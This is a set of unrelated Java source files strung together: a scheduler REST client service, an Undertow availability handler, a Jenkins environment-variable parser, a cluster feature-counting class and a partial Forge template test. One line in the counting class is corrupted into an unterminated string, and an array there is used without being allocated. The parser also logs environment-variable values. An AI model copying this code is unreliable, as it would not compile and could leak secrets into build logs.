* @param jobId id of the job for which live logs should be cleaned
* @return true if something was actually deleted
* @throws RestServerException
* @throws ServiceException
*/
@Override
public boolean deleteLiveLogJob(final String sessionId, final String jobId)
throws RestServerException, ServiceException {
return executeFunction(new Function<RestClient, InputStream>() {
@Override
public InputStream apply(RestClient restClient) {
return restClient.deleteLiveLogJob(sessionId, jobId);
}
});
}
/*
* (non-Javadoc)
*
* @see
* org.ow2.proactive_grid_cloud_portal.scheduler.client.SchedulerService#getStatistics(java.
* lang.String)
*/
@Override
public String getStatistics(String sessionId) throws RestServerException, ServiceException {
RestClient restClientProxy = getRestClientProxy();
try {
return restClientProxy.getStatistics(sessionId);
} catch (WebApplicationException e) {
return rethrowRestServerException(e);
}
}
/*
* (non-Javadoc)
*
* @see
* org.ow2.proactive_grid_cloud_portal.scheduler.client.SchedulerService#
* getStatisticsOnMyAccount
* (java.lang.String)
*/
@Override
public String getStatisticsOnMyAccount(String sessionId) throws RestServerException, ServiceException {
RestClient restClientProxy = getRestClientProxy();
try {
return restClientProxy.getStatisticsOnMyAccount(sessionId);
} catch (WebApplicationException e) {
return rethrowRestServerException(e);
}
}
/*
* (non-Javadoc)
*
* @see
* org.ow2.proactive_grid_cloud_portal.scheduler.client.SchedulerService#schedulerStateRevision
* (java.lang.String)
*/
@Override
public long schedulerStateRevision(String sessionId) throws RestServerException {
RestClient restClientProxy = getRestClientProxy();
String revision = null;
try {
revision = restClientProxy.schedulerStateRevision(sessionId);
return Long.parseLong(revision);
} catch (NumberFormatException e) {
throw new RestServerException("Revision is not a number: " + revision);
} catch (WebApplicationException e) {
rethrowRestServerException(e);
return -1L;
}
}
/**
* Get information for all users currently connected to the scheduler
*
* @param sessionId session id
* @return user info as a json array
* @throws RestServerException
* @throws ServiceException
*/
@Override
public String getSchedulerUsers(final String sessionId) throws RestServerException, ServiceException {
return executeFunctionReturnStreamAsString(new Function<RestClient, InputStream>() {
@Override
public InputStream apply(RestClient restClient) {
return restClient.getSchedulerUsers(sessionId);
}
});
}
/**
* Get users having jobs in the scheduler
*
* @param sessionId session id
* @return user info as a json array
* @throws RestServerException
* @throws ServiceException
*/
@Override
public String getSchedulerUsersWithJobs(final String sessionId) throws RestServerException, ServiceException {
return executeFunctionReturnStreamAsString(new Function<RestClient, InputStream>() {
@Override
public InputStream apply(RestClient restClient) {
return restClient.getSchedulerUsersWithJobs(sessionId);
}
});
}
/*
* (non-Javadoc)
*
* @see
* org.ow2.proactive_grid_cloud_portal.scheduler.client.SchedulerService#revisionAndjobsinfo
* (java.lang.String, int, int, boolean, boolean, boolean, boolean)
*/
@Override
public String revisionAndjobsinfo(final String sessionId, final int index, final int limit,
final boolean myJobsOnly, final boolean pending, final boolean running, final boolean finished)
throws RestServerException, ServiceException {
return executeFunctionReturnStreamAsString(new Function<RestClient, InputStream>() {
@Override
public InputStream apply(RestClient restClient) {
return restClient.revisionAndjobsinfo(sessionId, index, limit, myJobsOnly, pending, running, finished);
}
});
}
/*
* (non-Javadoc)
*
* @see
* org.ow2.proactive_grid_cloud_portal.scheduler.client.SchedulerService#getJobImage(java.lang
* .String, java.lang.String)
*/
@Override
public String getJobImage(String sessionId, String jobId) throws RestServerException, ServiceException {
String url = "img_" + jobId + ".png";
String path = getServletContext().getRealPath("/images");
File file = new File(path + File.separator + url);
file.deleteOnExit();
if (file.exists()) {
// this might very well return the wrong file if you restart
// the server but omit to clean tmpdir; not my problem
return url;
}
throw new RestServerException(Status.NOT_FOUND.getStatusCode(), "File not found: " + file.getPath());
}
/*
* (non-Javadoc)
*
* @see
* org.ow2.proactive_grid_cloud_portal.scheduler.client.SchedulerService#getSchedulerStatus(
* java.lang.String)
*/
@Override
public String getSchedulerStatus(String sessionId) throws RestServerException {
try {
return getRestClientProxy().schedulerStatus(sessionId);
} catch (WebApplicationException e) {
return rethrowRestServerException(e);
}
}
/*
* (non-Javadoc)
*
* @see Service#getVersion()
*/
@Override
public String getVersion() throws RestServerException, ServiceException {
return executeFunctionReturnStreamAsString(new Function<RestClient, InputStream>() {
@Override
public InputStream apply(RestClient restClient) {
return restClient.getVersion();
}
});
}
/**
* Get server logs for a given task
*
* @param sessionId current session
* @param jobId id of a job
* @param taskName name of a task to restart within that job
* @return job server logs
* @throws RestServerException
* @throws ServiceException
*/
@Override
public String getTaskServerLogs(String sessionId, Integer jobId, String taskName)
throws RestServerException, ServiceException {
RestClient restClientProxy = getRestClientProxy();
try {
return restClientProxy.taskServerLogs(sessionId, "" + jobId, taskName);
} catch (WebApplicationException e) {
return rethrowRestServerException(e);
}
}
/**
* Get server logs for a given job
*
* @param sessionId current session
* @param jobId id of a job
* @return task server logs
* @throws RestServerException
* @throws ServiceException
*/
@Override
public String getJobServerLogs(String sessionId, Integer jobId) throws RestServerException, ServiceException {
RestClient restClientProxy = getRestClientProxy();
try {
return restClientProxy.jobServerLogs(sessionId, jobId.toString());
} catch (WebApplicationException e) {
return rethrowRestServerException(e);
}
}
@Override
public List<JobUsage> getUsage(String sessionId, String user, Date startDate, Date endDate)
throws RestServerException, ServiceException {
RestClient restClientProxy = getRestClientProxy();
InputStream inputStream = null;
try {
DateFormat df = new SimpleDateFormat(ISO_8601_FORMAT);
String startDateAsString = df.format(startDate);
String endDateAsString = df.format(endDate);
if (user != null) {
inputStream = restClientProxy.getUsageOnAccount(sessionId, user, startDateAsString, endDateAsString);
} else {
inputStream = restClientProxy.getUsageOnMyAccount(sessionId, startDateAsString, endDateAsString);
}
String responseAsString = convertToString(inputStream);
return UsageJsonReader.readJobUsages(responseAsString);
} catch (IOException | JSONException e) {
throw new ServiceException(e.getMessage());
} catch (WebApplicationException e) {
rethrowRestServerException(e);
return null;
} finally {
IOUtils.closeQuietly(inputStream);
}
}
@Override
public String getJobHtml(final String sessionId, final String jobId) throws RestServerException, ServiceException {
return executeFunctionReturnStreamAsString(new Function<RestClient, InputStream>() {
@Override
public InputStream apply(RestClient restClient) {
return restClient.getJobHtml(sessionId, jobId);
}
});
}
@Override
public void putThirdPartyCredential(String sessionId, String key, String value) throws RestServerException {
RestClient restClientProxy = getRestClientProxy();
try {
restClientProxy.putThirdPartyCredential(sessionId, key, value);
} catch (WebApplicationException e) {
rethrowRestServerException(e);
}
}
@Override
public Set<String> thirdPartyCredentialKeySet(String sessionId) throws ServiceException, RestServerException {
RestClient restClientProxy = getRestClientProxy();
InputStream inputStream = null;
try {
inputStream = restClientProxy.thirdPartyCredentialsKeySet(sessionId);
String responseAsString = convertToString(inputStream);
JSONArray jsonArray = new JSONArray(responseAsString);
HashSet<String> result = new HashSet<>(jsonArray.length());
for (int i = 0; i < jsonArray.length(); i++) {
result.add(jsonArray.getString(i));
}
return result;
} catch (IOException | JSONException e) {
throw new ServiceException(e.getMessage());
} catch (WebApplicationException e) {
rethrowRestServerException(e);
return null;
} finally {
IOUtils.closeQuietly(inputStream);
}
}
@Override
public void removeThirdPartyCredential(String sessionId, String key) throws RestServerException {
RestClient restClientProxy = getRestClientProxy();
try {
restClientProxy.removeThirdPartyCredential(sessionId, key);
} catch (WebApplicationException e) {
rethrowRestServerException(e);
}
}
private Map<String, Object> executeGraphQLQuery(String sessionId, Query query)
throws ServiceException, RestServerException {
if (sessionId == null || query == null)
return null;
return graphQLClient.execute(sessionId, query);
}
private boolean executeFunction(Function<RestClient, InputStream> function)
throws ServiceException, RestServerException {
RestClient restClientProxy = getRestClientProxy();
InputStream inputStream = null;
try {
inputStream = function.apply(restClientProxy);
return true;
} catch (WebApplicationException e) {
rethrowRestServerException(e);
return false;
} finally {
IOUtils.closeQuietly(inputStream);
}
}
private int executeFunction(BiFunction<RestClient, Integer, InputStream> action, List<Integer> jobIdList,
String actionName) throws ServiceException, RestServerException {
RestClient restClientProxy = getRestClientProxy();
int failures = 0;
int success = 0;
for (Integer jobId : jobIdList) {
InputStream inputStream = null;
try {
inputStream = action.apply(restClientProxy, jobId);
if (Boolean.parseBoolean(convertToString(inputStream))) {
success++;
} else {
failures++;
}
} catch (WebApplicationException e) {
failures++;
} catch (IOException e) {
throw new ServiceException("Error while reading InputStream response: " + e.getMessage());
} finally {
IOUtils.closeQuietly(inputStream);
}
}
if (failures > 0) {
throw new RestServerException("Requested " + jobIdList.size() + " " + actionName + ": " + success +
" succeeded, " + failures + " failed.");
}
return success;
}
private String executeFunctionReturnStreamAsString(Function<RestClient, InputStream> function)
throws ServiceException, RestServerException {
RestClient restClientProxy = getRestClientProxy();
InputStream inputStream = null;
try {
inputStream = function.apply(restClientProxy);
try {
return convertToString(inputStream);
} catch (IOException e) {
throw new ServiceException(e.getMessage());
}
} catch (WebApplicationException e) {
return rethrowRestServerException(e);
} finally {
IOUtils.closeQuietly(inputStream);
}
}
private RestClient getRestClientProxy() {
ResteasyClient client = new ResteasyClientBuilder().asyncExecutor(threadPool)
.httpEngine(new ApacheHttpClient4Engine(httpClient))
.build();
ResteasyWebTarget target = client.target(SchedulerConfig.get().getRestUrl());
return target.proxy(RestClient.class);
}
private String rethrowRestServerException(WebApplicationException e) throws RestServerException {
throw new RestServerException(e.getResponse().getStatus(), e.getMessage());
}
private interface BiFunction<T, U, R> {
R apply(T t, U u);
}
private interface Function<T, R> {
R apply(T t);
}
}
|
package de.tdlabs.undertow.handler.sa;
import io.undertow.server.HttpHandler;
import io.undertow.server.HttpServerExchange;
import org.jboss.logging.Logger;
import javax.management.InstanceNotFoundException;
import javax.management.MalformedObjectNameException;
import javax.management.Notification;
import javax.management.NotificationListener;
import javax.management.ObjectName;
import java.lang.management.ManagementFactory;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.regex.Pattern;
/**
* Special @link {@link HttpHandler} Filter which returns HTTP Status Code {@code 503 Service Unvailable}
* until a given deployment unit is successfully deployed, from then on the application will control the HTTP Response.
*/
public class ServiceAvailabilityHandler implements HttpHandler {
private static final Logger log = Logger.getLogger(ServiceAvailabilityHandler.class);
private static final String JBOSS_AS_DEPLOYMENT_OBJECT_NAME_TEMPLATE = "jboss.as:deployment=%s";
private static final int SERVICE_UNVAILABLE = 503;
private final AtomicBoolean applicationReady = new AtomicBoolean(false);
private Pattern pathPattern;
private String pathPrefixPattern;
private String deploymentName;
private volatile boolean intialized = false;
private final HttpHandler next;
public ServiceAvailabilityHandler(HttpHandler next) {
this.next = next;
}
public void handleRequest(HttpServerExchange exchange) throws Exception {
// lazy initialize on first request
//TODO figure out how to initialize an Undertow Handler after construction to get rid of this
if (!intialized) {
init();
intialized = true;
}
if (!pathPattern.matcher(exchange.getRequestPath()).matches()) {
next.handleRequest(exchange);
return;
}
if (applicationReady.get()) {
next.handleRequest(exchange);
return;
}
exchange.setStatusCode(SERVICE_UNVAILABLE);
}
private void init() {
this.pathPattern = Pattern.compile(this.pathPrefixPattern);
String deploymentObjectName = String.format(JBOSS_AS_DEPLOYMENT_OBJECT_NAME_TEMPLATE, this.deploymentName);
ApplicationAvailabilityChangeNotificationListener listener = new ApplicationAvailabilityChangeNotificationListener(deploymentObjectName, applicationReady);
if (!ApplicationAvailabilityMbeanRegistrar.register(deploymentObjectName, listener)) {
log.warn("Initialization of application availability detection failed! Marking the application as ready.");
applicationReady.set(true);
}
}
public String getPathPrefixPattern() {
return pathPrefixPattern;
}
public void setPathPrefixPattern(String pathPrefixPattern) {
this.pathPrefixPattern = pathPrefixPattern;
}
public String getDeploymentName() {
return deploymentName;
}
public void setDeploymentName(String deploymentName) {
this.deploymentName = deploymentName;
}
static class ApplicationAvailabilityMbeanRegistrar {
static boolean register(String objectName, NotificationListener listener) {
try {
ObjectName on = new ObjectName(objectName);
ManagementFactory
.getPlatformMBeanServer()
.addNotificationListener(on, listener, null, null);
return true;
} catch (MalformedObjectNameException mone) {
log.warn("Could not register application-availability ObjectName: {}", objectName, mone);
} catch (InstanceNotFoundException infe) {
log.warn("Could not find object instance with ObjectName: {}", objectName, infe);
}
return false;
}
}
static class ApplicationAvailabilityChangeNotificationListener implements NotificationListener {
private static final String DEPLOYMENT_DEPLOYED = "deployment-deployed";
private final AtomicBoolean applicationReady;
private final String objectName;
private ApplicationAvailabilityChangeNotificationListener(String objectName, AtomicBoolean applicationReady) {
this.objectName = objectName;
this.applicationReady = applicationReady;
}
public void handleNotification(Notification notification, Object handback) {
if (!notification.getSource().toString().equals(objectName)) {
return;
}
if (!DEPLOYMENT_DEPLOYED.equals(notification.getType())) {
return;
}
log.warn("Detected application availability changed to ready! Marking the application as ready.");
applicationReady.set(true);
}
}
}
|
package me.automationdomination.plugins.threadfix.service;
import hudson.EnvVars;
import java.io.PrintStream;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class WindowsEnvironmentVariableParsingService implements EnvironmentVariableParsingService {
private final Pattern environmentVariablePattern = Pattern.compile("%.+?%");
@Override
public String parseEnvironentVariables(final EnvVars envVars, final String value, PrintStream log) {
final Matcher matcher = this.environmentVariablePattern.matcher(value);
String parsedValue = value;
while (matcher.find()) {
final String matchedValue = matcher.group();
log.println("matchedValue: " + matchedValue);
// TODO: can this be done more efficiently?
final String environmentVariableKey = matchedValue.replaceAll("%", "");
log.println("environmentVariableKey: " + environmentVariableKey);
String environmentVariableValue = envVars.get(environmentVariableKey);
log.println("environmentVariableValue: " + environmentVariableValue);
// if this is null, that means the environment variable was not found
if (environmentVariableValue != null) {
environmentVariableValue = environmentVariableValue.replaceAll("\\\\", "\\\\\\\\");
log.println("this better work again with the slashes!!!");
// TODO: can this be done more efficiently?
parsedValue = parsedValue.replaceAll("%" + environmentVariableKey + "%", environmentVariableValue);
log.println("parsedValue: " + parsedValue);
}
}
return parsedValue;
}
}
|
package uk.ac.susx.tag.classificationframework.clusters.clusteranalysis;
import it.unimi.dsi.fastutil.ints.Int2DoubleMap;
import it.unimi.dsi.fastutil.ints.Int2IntMap;
import it.unimi.dsi.fastutil.ints.Int2IntOpenHashMap;
import it.unimi.dsi.fastutil.ints.IntArrayList;
import it.unimi.dsi.fastutil.ints.IntList;
import it.unimi.dsi.fastutil.ints.IntOpenHashSet;
import it.unimi.dsi.fastutil.ints.IntSet;
import uk.ac.susx.tag.classificationframework.clusters.ClusteredProcessedInstance;
import uk.ac.susx.tag.classificationframework.datastructures.ProcessedInstance;
import uk.ac.susx.tag.classificationframework.featureextraction.pipelines.FeatureExtractionPipeline;
import java.util.Collection;
import java.util.Iterator;
public abstract class FeatureClusterJointCounter {
protected double featureSmoothingAlpha = 0.1;
protected double backgroundImportance = 1;
public abstract void count(Collection<ClusteredProcessedInstance> documents, ClusterMembershipTest t, FeatureExtractionPipeline pipeline);
public abstract void count(Collection<ClusteredProcessedInstance> documents, Iterable<ProcessedInstance> backgroundDocuments, ClusterMembershipTest t, FeatureExtractionPipeline pipeline);
public abstract double featurePrior(int feature);
public abstract double likelihoodFeatureGivenCluster(int feature, int cluster);
// public abstract double likelihoodFeatureGivenNotCluster(int feature, int cluster);
public abstract IntSet getFeatures();
public abstract IntSet getFeaturesInCluster(int clusterIndex);
public abstract int getFeatureCount(int feature);
public abstract int getJoinCount(int feature, int cluster);
public abstract void pruneFeaturesWithCountLessThan(int n);
public abstract void pruneOnlyBackgroundFeaturesWithCountLessThan(int n);
public abstract void pruneOnlyClusterFeaturesWithCountLessThan(int n);
public double getFeatureSmoothingAlpha() {
return featureSmoothingAlpha;
}
public void setFeatureSmoothingAlpha(double featureSmoothingAlpha) {
this.featureSmoothingAlpha = featureSmoothingAlpha;
}
/**
* A count of 1 for a feature means that the feature occurred at least once in exactly 1 document.
*
* A joint count of 1 for a feature in a cluster means that the feature occurred at least once
* in exactly 1 document in the given cluster.
*/
public static class DocumentBasedCounts extends FeatureClusterJointCounter {
public int numDocuments;
public int[] numDocumentsPerCluster;
public Int2IntOpenHashMap featureCounts;
public Int2IntOpenHashMap[] jointCounts;
@Override
public void count(Collection<ClusteredProcessedInstance> documents, ClusterMembershipTest t, FeatureExtractionPipeline pipeline) {
// Initialise the counting data structures
int numClusters = documents.iterator().next().getClusterVector().length;
numDocumentsPerCluster = new int[numClusters];
featureCounts = new Int2IntOpenHashMap();
jointCounts = new Int2IntOpenHashMap[numClusters];
for (int i = 0; i < jointCounts.length; i++)
jointCounts[i] = new Int2IntOpenHashMap();
// Obtain feature counts, and joint counts of features per cluster
numDocuments = documents.size();
for (ClusteredProcessedInstance instance : documents) {
t.setup(instance);
IntSet features = new IntOpenHashSet(instance.getDocument().features);
for (int feature : features)
featureCounts.addTo(feature, 1);
for (int clusterIndex=0; clusterIndex < numClusters; clusterIndex++){
if (t.isDocumentInCluster(instance, clusterIndex)){
numDocumentsPerCluster[clusterIndex]++;
for (int feature : features) {
jointCounts[clusterIndex].addTo(feature, 1);
}
}
}
}
}
@Override
public void count(Collection<ClusteredProcessedInstance> documents, Iterable<ProcessedInstance> backgroundDocuments, ClusterMembershipTest t, FeatureExtractionPipeline pipeline) {
// Initialise the counting data structures
int numClusters = documents.iterator().next().getClusterVector().length;
numDocumentsPerCluster = new int[numClusters];
featureCounts = new Int2IntOpenHashMap();
jointCounts = new Int2IntOpenHashMap[numClusters];
for (int i = 0; i < jointCounts.length; i++)
jointCounts[i] = new Int2IntOpenHashMap();
// Obtain feature counts, and joint counts of features per cluster
numDocuments = documents.size();
for (ClusteredProcessedInstance instance : documents) {
t.setup(instance);
IntSet features = new IntOpenHashSet(instance.getDocument().features);
for (int clusterIndex=0; clusterIndex < numClusters; clusterIndex++){
if (t.isDocumentInCluster(instance, clusterIndex)){
numDocumentsPerCluster[clusterIndex]++;
for (int feature : features) {
jointCounts[clusterIndex].addTo(feature, 1);
}
}
}
}
for (ProcessedInstance instance : backgroundDocuments) {
IntSet features = new IntOpenHashSet(instance.features);
for (int feature : features)
featureCounts.addTo(feature, 1);
}
}
@Override
public double featurePrior(int feature) {
return (featureCounts.get(feature)+1) / ((double)numDocuments + 1);
}
@Override
public double likelihoodFeatureGivenCluster(int feature, int cluster) {
return jointCounts[cluster].get(feature) / (double)numDocumentsPerCluster[cluster];
}
// @Override
// public double likelihoodFeatureGivenNotCluster(int feature, int cluster) {
// int countInOtherClusters = featureCounts.get(feature) - jointCounts[cluster].get(feature);
// int totalDocsInOtherClusters = numDocuments - numDocumentsPerCluster[cluster];
// return countInOtherClusters / (double)totalDocsInOtherClusters;
@Override
public IntSet getFeatures() {
return featureCounts.keySet();
}
@Override
public IntSet getFeaturesInCluster(int clusterIndex) {
return jointCounts[clusterIndex].keySet();
}
@Override
public int getFeatureCount(int feature) {
return featureCounts.get(feature);
}
@Override
public int getJoinCount(int feature, int cluster) {
return jointCounts[cluster].get(feature);
}
@Override
public void pruneFeaturesWithCountLessThan(int n) {
Iterator<Int2IntMap.Entry> iter = featureCounts.int2IntEntrySet().fastIterator();
while(iter.hasNext()) {
Int2IntMap.Entry e = iter.next();
int feature = e.getIntKey();
int count = e.getIntValue();
if (count < n) {
iter.remove();
for (Int2IntMap jointCount : jointCounts){
jointCount.remove(feature);
}
}
}
}
@Override
public void pruneOnlyBackgroundFeaturesWithCountLessThan(int n) {
}
@Override
public void pruneOnlyClusterFeaturesWithCountLessThan(int n) {
}
}
/**
* A count of N for a feature means that the feature occurred exactly N times in the corpus,
* the occurrences were in 1 or more documents.
*/
public static class FeatureBasedCounts extends FeatureClusterJointCounter {
public int totalFeatureCount;
public int totalHashtagCount;
public int totalAccountTagCount;
public Int2IntOpenHashMap featureCounts;
public Int2IntOpenHashMap hashTagCounts;
public Int2IntOpenHashMap accountTagCounts;
public Int2IntOpenHashMap[] jointCounts;
public Int2IntOpenHashMap[] hashTagJointCounts;
public Int2IntOpenHashMap[] accountTagJointCounts;
private int[] totalFeatureCountPerCluster;
private int[] totalHashTagCountPerCluster;
private int[] totalAccountTagCountPerCluster;
public FeatureBasedCounts() {
}
@Override
public void count(Collection<ClusteredProcessedInstance> documents, ClusterMembershipTest t, FeatureExtractionPipeline pipeline) {
// Initialise the counting data structures
int numClusters = documents.iterator().next().getClusterVector().length;
totalFeatureCount = 0;
totalFeatureCountPerCluster = new int[numClusters];
featureCounts = new Int2IntOpenHashMap();
jointCounts = new Int2IntOpenHashMap[numClusters];
for (int i = 0; i < jointCounts.length; i++)
jointCounts[i] = new Int2IntOpenHashMap();
// Obtain feature counts, and joint counts of features per cluster
for (ClusteredProcessedInstance instance : documents) {
t.setup(instance);
int[] features = instance.getDocument().features;
totalFeatureCount += features.length;
for (int feature : features)
featureCounts.addTo(feature, 1);
for (int clusterIndex=0; clusterIndex < numClusters; clusterIndex++){
if (t.isDocumentInCluster(instance, clusterIndex)){
totalFeatureCountPerCluster[clusterIndex] += features.length;
for (int feature : features) {
jointCounts[clusterIndex].addTo(feature, 1);
}
}
}
}
}
@Override
public void count(Collection<ClusteredProcessedInstance> documents, Iterable<ProcessedInstance> backgroundDocuments, ClusterMembershipTest t, FeatureExtractionPipeline pipeline) {
// Initialise the counting data structures
int numClusters = documents.iterator().next().getClusterVector().length;
totalFeatureCount = 0;
totalHashtagCount = 0;
totalAccountTagCount = 0;
totalFeatureCountPerCluster = new int[numClusters];
totalHashTagCountPerCluster = new int[numClusters];
totalAccountTagCountPerCluster = new int[numClusters];
featureCounts = new Int2IntOpenHashMap();
hashTagCounts = new Int2IntOpenHashMap();
accountTagCounts = new Int2IntOpenHashMap();
jointCounts = new Int2IntOpenHashMap[numClusters];
for (int i = 0; i < jointCounts.length; i++) {
jointCounts[i] = new Int2IntOpenHashMap();
hashTagJointCounts[i] = new Int2IntOpenHashMap();
accountTagJointCounts[i] = new Int2IntOpenHashMap();
}
// joint counts of features per cluster
for (ClusteredProcessedInstance instance : documents) {
t.setup(instance);
int[] features = instance.getDocument().features;
IntList words = new IntArrayList();
IntList hashtags = new IntArrayList();
IntList accounttags = new IntArrayList();
for (int feature : features) {
String f = pipeline.featureString(feature);
if (f.startsWith("
hashtags.add(feature);
} else if (f.startsWith("@")){
accounttags.add(feature);
} else {
words.add(feature);
}
}
for (int clusterIndex=0; clusterIndex < numClusters; clusterIndex++){
if (t.isDocumentInCluster(instance, clusterIndex)){
totalFeatureCountPerCluster[clusterIndex] += words.size();
for (int word : words) {
jointCounts[clusterIndex].addTo(word, 1);
}
}
}
}
for (ProcessedInstance instance : backgroundDocuments) {
int[] features = instance.features;
totalFeatureCount += backgroundImportance * features.length;
for (int feature : features)
featureCounts.addTo(feature, 1);
}
}
@Override
public double featurePrior(int feature) {
return (featureCounts.get(feature) + getFeatureSmoothingAlpha())
/ ((double)totalFeatureCount + getFeatureSmoothingAlpha()*featureCounts.size());
}
@Override
public double likelihoodFeatureGivenCluster(int feature, int cluster) {
return jointCounts[cluster].get(feature) / (double)totalFeatureCountPerCluster[cluster];
}
// @Override
// public double likelihoodFeatureGivenNotCluster(int feature, int cluster) {
// int countInOtherClusters = featureCounts.get(feature) - jointCounts[cluster].get(feature);
// int totalFeaturesInOtherClusters = totalFeatureCount - totalFeatureCountPerCluster[cluster];
// return countInOtherClusters / (double)totalFeaturesInOtherClusters;
@Override
public IntSet getFeatures() {
return featureCounts.keySet();
}
@Override
public IntSet getFeaturesInCluster(int clusterIndex) {
return jointCounts[clusterIndex].keySet();
}
@Override
public int getFeatureCount(int feature) {
return featureCounts.get(feature);
}
@Override
public int getJoinCount(int feature, int cluster) {
return jointCounts[cluster].get(feature);
}
@Override
public void pruneFeaturesWithCountLessThan(int n) {
Iterator<Int2IntMap.Entry> iter = featureCounts.int2IntEntrySet().fastIterator();
while (iter.hasNext()){
Int2IntMap.Entry e = iter.next();
int feature = e.getIntKey();
int count = e.getIntValue();
if (count < n) {
iter.remove();
totalFeatureCount -= count;
for (int i = 0; i < jointCounts.length; i++) {
totalFeatureCountPerCluster[i] -= jointCounts[i].get(feature);
jointCounts[i].remove(feature);
}
}
}
}
@Override
public void pruneOnlyBackgroundFeaturesWithCountLessThan(int n) {
Iterator<Int2IntMap.Entry> iter = featureCounts.int2IntEntrySet().fastIterator();
while (iter.hasNext()){
Int2IntMap.Entry e = iter.next();
// int feature = e.getIntKey();
int count = e.getIntValue();
if (count < n) {
totalFeatureCount -= count;
iter.remove();
}
}
}
@Override
public void pruneOnlyClusterFeaturesWithCountLessThan(int n) {
for (int c = 0; c < jointCounts.length; c++){
Iterator<Int2IntMap.Entry> iter = jointCounts[c].int2IntEntrySet().fastIterator();
while(iter.hasNext()){
Int2IntMap.Entry e = iter.next();
int count = e.getIntValue();
if (count < n) {
totalFeatureCountPerCluster[c] -= count;
iter.remove();
}
}
}
}
}
/**
* Cluster membership testing.
*
* In order to produce the counts of how many times a feature occurs within a particular cluster,
* we must be able to decide whether or not a document is in a cluster.
*
* A class implementing the ClusterMembershipTest gets to decide whether a document is considered
* part of a cluster.
*
* For example, the HighestProbabilityOnly implementation allows the document to only be part of the
* cluster with which it has the highest probability of membership (clusterVector being treated as
* vector of membership probabilities).
*/
public interface ClusterMembershipTest {
/**
* Called once per document. Perform any setup required before the cluster membership
* testing happens for each cluster.
*/
void setup(ClusteredProcessedInstance instance);
/**
* Called N times per document, where N is the number of clusters.
* Must return true if the document is considered to belong to the specified cluster.
*/
boolean isDocumentInCluster(ClusteredProcessedInstance instance, int clusterIndex);
}
/**
* Allows the document to only be part of the cluster with which it has the highest
* probability of membership (clusterVector being treated as vector of membership probabilities).
*/
public static class HighestProbabilityOnly implements ClusterMembershipTest{
private int highestClusterIndex = 0;
public void setup(ClusteredProcessedInstance instance){
double[] clusterVector = instance.getClusterVector();
highestClusterIndex = 0;
double currentMax = clusterVector[0];
for (int i = 0; i < clusterVector.length; i++) {
if (clusterVector[i] > currentMax) {
highestClusterIndex = i;
currentMax = clusterVector[i];
}
}
}
public boolean isDocumentInCluster(ClusteredProcessedInstance instance, int clusterIndex) {
return clusterIndex == highestClusterIndex;
}
}
/**
* Allows the document to be part of any cluster for which the document's membership
* probability is equal to or higher than some threshold.
*/
public static class ProbabilityAboveThreshold implements ClusterMembershipTest{
private final double threshold;
public ProbabilityAboveThreshold(double threshold){
this.threshold = threshold;
}
public void setup(ClusteredProcessedInstance instance){
// None required
}
public boolean isDocumentInCluster(ClusteredProcessedInstance instance, int clusterIndex) {
return instance.getClusterVector()[clusterIndex] >= threshold;
}
}
}
|
package org.jboss.forge.addon.angularjs.tests.freemarker;
import static org.hamcrest.core.IsEqual.equalTo;
import static org.hamcrest.core.IsNot.not;
import static org.hamcrest.core.StringContains.containsString;
import static org.junit.Assert.assertThat;
import java.net.URL;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import javax.inject.Inject;
import org.jboss.arquillian.container.test.api.Deployment;
import org.jboss.arquillian.junit.Arquillian;
import org.jboss.forge.addon.resource.Resource;
import org.jboss.forge.addon.resource.ResourceFactory;
import org.jboss.forge.addon.templates.Template;
import org.jboss.forge.addon.templates.TemplateFactory;
import org.jboss.forge.addon.templates.freemarker.FreemarkerTemplate;
import org.jboss.forge.arquillian.AddonDependencies;
import org.jboss.forge.arquillian.AddonDependency;
import org.jboss.forge.arquillian.archive.AddonArchive;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.jsoup.select.Elements;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.metawidget.util.simple.StringUtils;
/**
* Tests to verify that the generated HTML for the search results table in the search page is generated correctly.
*/
@RunWith(Arquillian.class)
public class FreemarkerClientPartialsSearchResultsTest
{
@Inject
private ResourceFactory resourceFactory;
@Inject
private TemplateFactory processorFactory;
@Deployment
@AddonDependencies({
@AddonDependency(name = "org.jboss.forge.addon:projects"),
@AddonDependency(name = "org.jboss.forge.addon:scaffold-spi"),
@AddonDependency(name = "org.jboss.forge.addon:javaee"),
@AddonDependency(name = "org.jboss.forge.addon:templates"),
@AddonDependency(name = "org.jboss.forge.addon:text"),
@AddonDependency(name = "org.jboss.forge.addon:convert"),
@AddonDependency(name = "org.jboss.forge.addon:parser-java"),
@AddonDependency(name = "org.jboss.forge.furnace.container:cdi")
})
public static AddonArchive getDeployment()
{
return Deployments.getDeployment();
}
@Test
public void testGenerateHiddenProperty() throws Exception
{
Map<String, String> idProperties = new HashMap<String, String>();
idProperties.put("name", "id");
idProperties.put("hidden", "true");
idProperties.put("type", "number");
List<Map<String, ? extends Object>> properties = new ArrayList<Map<String, ? extends Object>>();
properties.add(idProperties);
Map<String, Object> root = new HashMap<String, Object>();
root.put("entityName", "SampleEntity");
root.put("properties", properties);
Resource<URL> templateResource = resourceFactory.create(getClass().getResource(
Deployments.BASE_PACKAGE_PATH + Deployments.SEARCH_RESULTS));
Template processor = processorFactory.create(templateResource, FreemarkerTemplate.class);
String output = processor.process(root);
Document html = Jsoup.parseBodyFragment(output);
assertThat(output.trim(), not(equalTo("")));
Elements headers = html.select("table > thead > tr > th");
assertThat(0, equalTo(headers.size()));
}
@Test
public void testGenerateHiddenAndRequiredProperty() throws Exception
{
Map<String, String> idProperties = new HashMap<String, String>();
idProperties.put("name", "id");
idProperties.put("hidden", "true");
idProperties.put("required", "true");
idProperties.put("type", "number");
List<Map<String, ? extends Object>> properties = new ArrayList<Map<String, ? extends Object>>();
properties.add(idProperties);
Map<String, Object> root = new HashMap<String, Object>();
root.put("entityName", "SampleEntity");
root.put("properties", properties);
Resource<URL> templateResource = resourceFactory.create(getClass().getResource(
Deployments.BASE_PACKAGE_PATH + Deployments.SEARCH_RESULTS));
Template processor = processorFactory.create(templateResource, FreemarkerTemplate.class);
String output = processor.process(root);
Document html = Jsoup.parseBodyFragment(output);
assertThat(output.trim(), not(equalTo("")));
Elements headers = html.select("table > thead > tr > th");
assertThat(0, equalTo(headers.size()));
}
@Test
public void testGenerateOneToManyProperty() throws Exception
{
Map<String, String> ordersProperties = new HashMap<String, String>();
String oneToManyProperty = "orders";
ordersProperties.put("name", oneToManyProperty);
ordersProperties.put("type", "java.lang.String");
